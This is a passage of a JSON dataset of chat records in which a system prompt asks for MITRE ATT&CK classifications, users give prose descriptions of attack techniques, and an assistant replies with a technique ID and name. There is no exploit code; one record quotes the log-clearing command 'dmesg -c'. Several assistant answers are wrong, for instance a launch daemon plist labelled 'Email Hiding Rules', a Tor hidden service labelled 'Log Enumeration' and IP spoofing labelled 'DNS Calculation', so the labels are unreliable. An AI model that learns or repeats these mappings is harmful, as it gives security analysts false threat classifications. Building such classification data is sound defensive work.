                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a rogue Wi‑Fi access point to conduct a man‑in‑the‑middle attack, capturing credentials and injecting malicious payloads into HTTP traffic."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious launch daemon plist is placed in /Library/LaunchDaemons on macOS to run with root privileges."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a scheduled task to poll the clipboard every few seconds and send new data to its C2."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is hidden inside a PDF by encoding it as an embedded object."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group utilizes Windows Admin Shares (ADMIN$, C$) to copy tools to other servers in the environment."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses launchctl start to trigger a hidden launch daemon that runs a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit exploits a vulnerability to lower the TLS minimum version to TLS 1.0 on the target server."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages the Windows API to retrieve LSA secret values, exposing stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathers and temporarily stores compromised files in a hidden directory on the victim’s OS."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used \"docker login\" with stolen credentials to push a malicious image to the private registry, then deployed it across the cluster."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious tool encrypts its communications using a hard‑coded public key, preventing network inspection."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the network provider configuration to load a malicious DLL that captures user credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects code that alters system time, causing scheduled tasks to fail."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into the UEFI firmware's Secure Boot process, allowing the attacker to bypass security checks and execute payloads before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages Odbcconf to install a rogue ODBC driver that runs with elevated privileges during normal driver loading."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a malicious .plist that sets a hidden login script for the current user."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators scrape public GitHub repositories for API keys and AWS secret tokens."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using token stealing techniques, the malware reads the token of an authenticated session and replays it to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the boot process, malware changes the KernelCallbackTable to load a malicious kernel module."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor clears the Linux kernel ring buffer by executing 'dmesg -c' to erase evidence."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors purchase ad space on weather forecast sites, embedding a script that exploits a vulnerability in the Java runtime."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a browser exploit, the adversary injects JavaScript that leverages the eval function to execute arbitrary OS commands on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged password cracking software to break weak passwords from a compromised database export."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used regsvr32 to register a malicious .ocx file, allowing the execution of arbitrary PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses DNS over HTTPS (DoH) to hide its C2 traffic from network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers spin up virtual machines in a rarely used, unsupported AWS region to evade detection and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator employs a cloud‑based messaging platform as a covert channel, establishing a bidirectional link for command execution and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware program stops the Volume Shadow Copy Service and deletes existing shadow copies to inhibit recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker injects a command into the system's rc.local to trigger a malicious script when the OS boots into a shell."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates running processes for \"vboxservice.exe\" and \"vmtoolsd.exe\" as a sandbox detection technique."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute a script that stops and disables the anti‑malware service via systemctl on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a memory scraping tool to pull credential data from the securityd process on macOS."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved editing the 'Default Domain Controllers Policy' to allow unconstrained delegation."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before delivering the payload, the threat actor removed any identifiable markers from the tool to prevent indicator-based alerts."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors locate a public SMB share, harvest sensitive images, and compress them for transfer."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign was launched after collecting employee names and job titles from the corporate website."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged Azure AD credentials to establish a remote PowerShell session directly into a compromised Azure virtual machine, bypassing on-premises jump hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan achieves persistence by adding its payload to the AppInit DLLs list, causing it to execute whenever a new process loads user32.dll."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors hijacked a mail server's SMTP service, injecting a custom plugin that harvested email credentials and exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows Script Host, the threat actor proxies payload execution through regsvr32.exe to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the \"rundll32\" utility to execute a malicious DLL function without writing a new executable to disk."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential harvester enumerates active network interfaces and extracts their assigned IP ranges for lateral movement planning."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries stage exfiltrated data on a compromised remote server using rsync."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware checks for the presence of a human user by monitoring keyboard activity before executing its payload."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a firmware overwrite attack on SSD controllers, causing the device to execute attacker-controlled firmware."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is achieved by creating an at job that runs a hidden PowerShell command to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain control of a legitimate blog and embed a drive‑by download script that executes a PowerShell backdoor when the page is loaded."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses a public web proxy to bypass firewall restrictions and communicate with its C2."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group develops a stealthy key‑logging module that uses hardware interrupts."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component harvests Kerberos tickets from the LSASS process and replays them on other systems to access resources."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the system BIOS to disable hardware cryptographic modules, weakening overall encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved mapping the ADMIN$ share on a high‑value server using SMB and planting a loader that downloads additional malware from a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group scans the target's public web assets, extracting email addresses and internal project names from the company's blog and documentation sites."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses masquerading by naming their backdoor \"svchost.exe\" and placing it in the system directory."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising unsecured Wi‑Fi access points, the group assembles a botnet to perform man‑in‑the‑middle attacks on internal corporate traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses WMI to read the registry values of security software and disables it."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a spearphishing message containing a malicious hyperlink that leads to a weaponized PDF hosted on a compromised server, aiming to compromise the victim's system when opened."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software generates a self‑signed certificate to sign additional payloads on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group establishes a hidden service on the Tor network to coordinate illicit activities."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign changes the default program for .xml files to a malicious parser that runs the ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a vulnerable SNMP service to launch CLI commands on a Juniper firewall, modifying ACLs."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious ad network injects a drive-by download script into popular webpages to deliver ransomware."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage a custom Python script to base64‑decode a malicious DLL embedded in a zip archive."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man‑in‑the‑middle proxy, the attacker intercepts HTTP requests, extracts cookies, and replays them to maintain a persistent session."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team activity: create a rule in the victim's mailbox that forwards all messages to a secondary address for data collection."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses the Windows API call NetUserAdd to generate a low-privilege local account \"guest2\" for later privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends a tailored email with a link to a counterfeit website that captures login information entered by the victim."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro is embedded in an Excel spreadsheet shared via a corporate messenger, exploiting macro auto‑run settings."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spoof the source IP address of network packets to mislead tracking efforts"
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a USB drive to transfer a custom PowerShell script into an air‑gapped network for later execution."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious advertisement (malvertising), code is delivered that exploits a CVE in the Flash player, resulting in a drive‑by compromise."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code queries the system's DNS cache for the resolved address of its C2 domain each time it needs to send a beacon."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a WHOIS reverse lookup on the target's IP address range to discover other associated domains."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary runs a JavaScript payload embedded in a malicious HTML file to execute code in the browser."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a privilege escalation technique by inserting a custom PAM module that grants sudo rights without prompting for a password."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a Windows API, the attacker sets the file’s zone identifier to ‘0’ (Local Machine), removing the Mark of the Web and allowing unrestricted execution."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
